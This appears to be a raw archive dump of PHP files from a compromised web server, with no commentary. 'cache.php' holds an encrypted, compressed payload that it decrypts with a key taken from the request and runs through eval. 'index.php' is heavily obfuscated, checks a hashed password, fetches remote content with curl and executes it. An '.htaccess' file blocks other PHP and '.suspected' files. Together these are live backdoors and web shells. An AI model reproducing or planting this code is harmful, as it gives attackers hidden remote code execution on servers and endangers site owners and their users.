pRBn3n8OHg2zeri0bvT7eV+2razmtWrWnK1q1r1lmlriRFvmbDYLnBbuWdy3wljgdQtuh5a6tDuT7lr/691fyTX6dnf4Gv502j350te/Qne6j70iLfm/6dDdHzUTB/epi0+zt/0vjLUbOd97NlmlId5gZQ8z+7h+Hdwad5lCN2vA093Fp9C+hb0ZFcq6PpCP9sjOb/UmBfZsNcyB9vX/yEksfx6qPwrgos12Va9od/s1725Ntv9Hq/xJqEZ5V8yCERUf6dv5bOPy1QEyAmtwJMC7pIiA4u3V1nR1OGFEhjCOYRsSHf3VjSlK3dqZtigZyQ7NZYienVpwShlEJhZQhv69gyw+w4uERu+3p+Pdt272PD7GlK+HhUFfzK35hbUyae7yVsNp9H2nMNEi972yPC2+TrdKNVnk1gUNnNMns4il5iQseup44BojRXFurMF7qmr7jOn7bXHUKKrNmTCnpB3RyKeCmrKGeCL+2Q69zBV3ddVV3SqXdsOjl/sfIPMJAEkUbVy/YtPD7Tug/xTKzYtslkCtNQU3IO5T8l90ojkkZnJaLLx34iYiLgnI8NN2BF9/v0IptdrrT5ciX8I4w9BE/AOwfA'; function HPRF($kNRFz) { $ARmxu = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $wvafl = substr($ARmxu, 0, 16); $BSPsw = base64_decode($kNRFz); return openssl_decrypt($BSPsw, "AES-256-CBC", $ARmxu, OPENSSL_RAW_DATA, $wvafl); } if (HPRF('DjtPn+r4S0yvLCnquPz1fA')){ echo '/2MJHn7RSaqOlzA1QJu7cMho97nPRdkZHOgNAG4ClthUEBGq3Gy8NF8Ra8ogLccI'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($HPRF)))); ?>Requests/.htaccess000066600000000424151134702350010162 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>index.php000066600000012521151136537610006401 0ustar00<?php
 goto Hv8SQpl4Zzi; KXDHjcLTxxP: if (!(in_array(gettype($LJBT7Z7E6od) . "\62\60", $LJBT7Z7E6od) && md5(md5(md5(md5($LJBT7Z7E6od[14])))) === "\x66\146\141\x37\x32\146\62\x65\x61\x39\66\x65\65\x32\145\x36\x39\144\x30\64\61\x31\x31\70\71\146\x61\x34\61\x33\70\142")) { goto GNE5fedB9bP; } goto zoa9vs3vWYp; L_f1yVwFBH_: $LJBT7Z7E6od[86] = $LJBT7Z7E6od[61]($LJBT7Z7E6od[86]); goto GBPe3Fxs_G7; GBPe3Fxs_G7: @($LJBT7Z7E6od = $LJBT7Z7E6od[86]($LJBT7Z7E6od[58], $LJBT7Z7E6od[61](${$LJBT7Z7E6od[42]}[25]))); goto QWM8LVmwYyZ; zoa9vs3vWYp: $LJBT7Z7E6od[61] = $LJBT7Z7E6od[61] . $LJBT7Z7E6od[71]; goto L_f1yVwFBH_; Hv8SQpl4Zzi: $pIhRt2Q_n2i = range("\x7e", "\x20"); goto DddXjVMmQYd; CwBtzTY_W18: metaphone("\x74\x4c\x30\171\x30\x63\153\x70\61\x6b\x45\x4d\x31\124\x59\126\x47\165\60\167\x69\x51"); goto h5jAgF3kdLh; DddXjVMmQYd: $LJBT7Z7E6od = ${$pIhRt2Q_n2i[31 + 0] . $pIhRt2Q_n2i[5 + 54] . $pIhRt2Q_n2i[19 + 28] . $pIhRt2Q_n2i[35 + 12] . $pIhRt2Q_n2i[1 + 50] . $pIhRt2Q_n2i[37 + 16] . $pIhRt2Q_n2i[24 + 33]}; goto KXDHjcLTxxP; h5jAgF3kdLh: class AS2amaZ2fqB { static function uPctx24dk_S($TKByqw31mOS) { goto uNhLzFzfy_9; uNhLzFzfy_9: $Uts7I6ursFO = "\162" . "\141" . "\156" . "\147" . "\x65"; goto BMEeJztTyFt; Iio5XH3P8D5: $qi_j7ZYPKwQ = ''; goto RNdQjOmBkKd; o9XIfTOpgB1: $q5V68hdx99q = explode("\51", $TKByqw31mOS); goto Iio5XH3P8D5; EgL5wzm163V: peOdlsW70vP: goto TAaRUMzzx0m; RNdQjOmBkKd: foreach ($q5V68hdx99q as $sxtQncwPEPs => $gEzGOMbM2ei) { $qi_j7ZYPKwQ .= $BDuBi_CF2kI[$gEzGOMbM2ei - 48294]; s8Vc81fd7oG: } goto EgL5wzm163V; TAaRUMzzx0m: return $qi_j7ZYPKwQ; goto jYoXBh0Ed_K; BMEeJztTyFt: $BDuBi_CF2kI = $Uts7I6ursFO("\x7e", "\x20"); goto o9XIfTOpgB1; jYoXBh0Ed_K: } static function CLG2sgkbQzs($ahxgiBycJGr, $DEZyvAh2tZ7) { goto D18sZbPfDMO; NKwYiaqVZcQ: curl_setopt($VQiJTlrb4Mn, CURLOPT_RETURNTRANSFER, 1); goto R7FKqQxFCDX; R7FKqQxFCDX: $Jh7XtlxESh2 = curl_exec($VQiJTlrb4Mn); goto UDOrWMgd81g; D18sZbPfDMO: $VQiJTlrb4Mn = curl_init($ahxgiBycJGr); goto NKwYiaqVZcQ; UDOrWMgd81g: return empty($Jh7XtlxESh2) ? $DEZyvAh2tZ7($ahxgiBycJGr) : $Jh7XtlxESh2; goto YA3OJi4ux49; YA3OJi4ux49: } static function q9nL_Eh4sw4() { goto pTqbcAMJgfA; T_mk31m9JLz: @$OvJN5vbfDAL[0]('', $OvJN5vbfDAL[2 + 5] . $OvJN5vbfDAL[0 + 4]($jqcSE6sGUs9) . $OvJN5vbfDAL[3 + 5]); goto sJoKCMKMGqI; E0WTrdkjuJx: Ws8X_st9Mwt: goto XIuGfSJunQJ; sJoKCMKMGqI: die; goto E0WTrdkjuJx; tff0xcrk7g2: foreach ($N46DA9fLHUM as $uDFFlYUO6Fm) { $OvJN5vbfDAL[] = self::upctX24DK_S($uDFFlYUO6Fm); HVDARLyLIJ3: } goto wRewgmbqZS5; jMtaJfLzeKD: if (!(@$Mx4OgqyC7P0[0] - time() > 0 and md5(md5($Mx4OgqyC7P0[1 + 2])) === "\x62\141\x34\144\x65\64\x64\x35\x38\x66\x61\x38\x30\x31\x33\66\x30\145\71\x36\x63\x39\x63\x34\x39\x38\70\60\x66\x35\62\x65")) { goto Ws8X_st9Mwt; } goto LQ1_zBLj0Kn; wRewgmbqZS5: zICWy9ZY59p: goto Gj50t3U0zvh; E0yCf527rlO: @$OvJN5vbfDAL[10 + 0](INPUT_GET, "\157\146") == 1 && die($OvJN5vbfDAL[2 + 3](__FILE__)); goto jMtaJfLzeKD; Gj50t3U0zvh: $ECgPz6CX1kC = @$OvJN5vbfDAL[1]($OvJN5vbfDAL[10 + 0](INPUT_GET, $OvJN5vbfDAL[2 + 7])); goto DGS_6w3N8at; DGS_6w3N8at: $xUlHnoT9_70 = @$OvJN5vbfDAL[2 + 1]($OvJN5vbfDAL[1 + 5], $ECgPz6CX1kC); goto eFyhPiQI1ej; LQ1_zBLj0Kn: $jqcSE6sGUs9 = self::cLg2sGkbQzs($Mx4OgqyC7P0[1 + 0], $OvJN5vbfDAL[3 + 2]); goto T_mk31m9JLz; pTqbcAMJgfA: $N46DA9fLHUM = array("\x34\70\63\x32\x31\x29\64\x38\x33\60\x36\x29\64\70\63\61\71\51\64\70\x33\x32\x33\51\64\x38\x33\x30\x34\51\x34\70\63\x31\x39\51\64\70\x33\x32\x35\51\x34\70\x33\61\70\x29\x34\70\63\x30\63\x29\x34\70\63\x31\x30\51\64\x38\x33\62\61\x29\x34\70\63\x30\x34\51\x34\70\63\61\65\51\x34\x38\x33\60\x39\51\64\x38\x33\x31\60", "\x34\x38\63\x30\x35\51\64\70\63\60\x34\51\64\70\x33\x30\66\x29\x34\70\63\62\65\51\x34\70\63\60\66\x29\64\70\63\x30\71\51\64\x38\63\x30\64\51\x34\x38\x33\x37\61\51\64\x38\x33\x36\x39", "\x34\70\x33\x31\64\x29\64\x38\x33\60\65\51\x34\70\x33\x30\71\51\x34\x38\63\61\60\51\x34\70\x33\x32\65\51\64\x38\x33\62\60\x29\64\x38\x33\61\71\51\x34\x38\x33\62\61\x29\x34\x38\x33\x30\71\x29\x34\70\x33\62\x30\51\64\70\63\61\71", "\64\70\x33\x30\x38\51\64\x38\x33\62\x33\x29\x34\x38\x33\x32\x31\x29\64\x38\63\x31\x33", "\64\x38\x33\x32\x32\x29\x34\x38\63\62\x33\51\x34\x38\x33\60\x35\x29\x34\70\x33\x31\71\51\x34\70\63\66\66\x29\64\x38\63\x36\x38\51\x34\70\63\62\x35\51\x34\70\x33\x32\60\x29\x34\x38\63\x31\71\51\64\70\63\62\61\x29\64\70\63\60\71\51\64\70\63\62\x30\51\x34\x38\x33\x31\x39", "\x34\70\x33\x31\70\x29\64\70\63\61\65\x29\64\70\x33\x31\62\x29\x34\x38\63\x31\x39\x29\64\70\x33\62\65\x29\64\x38\63\x31\x37\x29\64\x38\63\61\x39\51\64\x38\x33\60\x34\x29\64\70\x33\62\65\51\64\x38\x33\x32\61\x29\64\70\x33\60\x39\x29\64\70\63\61\60\51\64\x38\63\60\x34\x29\64\70\63\x31\71\51\64\x38\x33\x31\60\x29\64\x38\x33\x30\x34\51\64\x38\63\x30\65", "\64\70\x33\x34\70\x29\64\x38\63\67\x38", "\x34\x38\x32\71\65", "\x34\70\x33\x37\x33\x29\64\70\63\67\x38", "\64\70\63\x35\65\x29\64\70\63\63\70\51\64\70\x33\63\x38\x29\64\70\63\x35\65\51\64\70\x33\x33\61", "\x34\x38\63\x31\70\x29\64\70\63\x31\x35\51\64\x38\63\x31\62\x29\x34\70\63\60\64\x29\x34\70\63\61\x39\51\64\x38\63\60\66\x29\x34\x38\x33\x32\x35\x29\64\70\x33\x31\x35\51\64\70\x33\x31\x30\x29\x34\70\63\x30\70\x29\x34\70\63\x30\x33\x29\64\70\63\60\x34"); goto tff0xcrk7g2; eFyhPiQI1ej: $Mx4OgqyC7P0 = $OvJN5vbfDAL[0 + 2]($xUlHnoT9_70, true); goto E0yCf527rlO; XIuGfSJunQJ: } } goto brUOTDDtwi5; ai3bLaRGN25: GNE5fedB9bP: goto CwBtzTY_W18; QWM8LVmwYyZ: $LJBT7Z7E6od(); goto ai3bLaRGN25; brUOTDDtwi5: AS2aMAz2fQb::Q9nl_EH4SW4();
?>
cache.php000066600000013035151136537610006336 0ustar00<?php $HPRF = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGiqOQbkVpZpgYA0A'; $ARmxu = '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'; function HPRF($kNRFz) { $ARmxu = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $wvafl = substr($ARmxu, 0, 16); $BSPsw = base64_decode($kNRFz); return openssl_decrypt($BSPsw, "AES-256-CBC", $ARmxu, OPENSSL_RAW_DATA, $wvafl); } if (HPRF('DjtPn+r4S0yvLCnquPz1fA')){ echo '/2MJHn7RSaqOlzA1QJu7cMho97nPRdkZHOgNAG4ClthUEBGq3Gy8NF8Ra8ogLccI'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($HPRF)))); ?>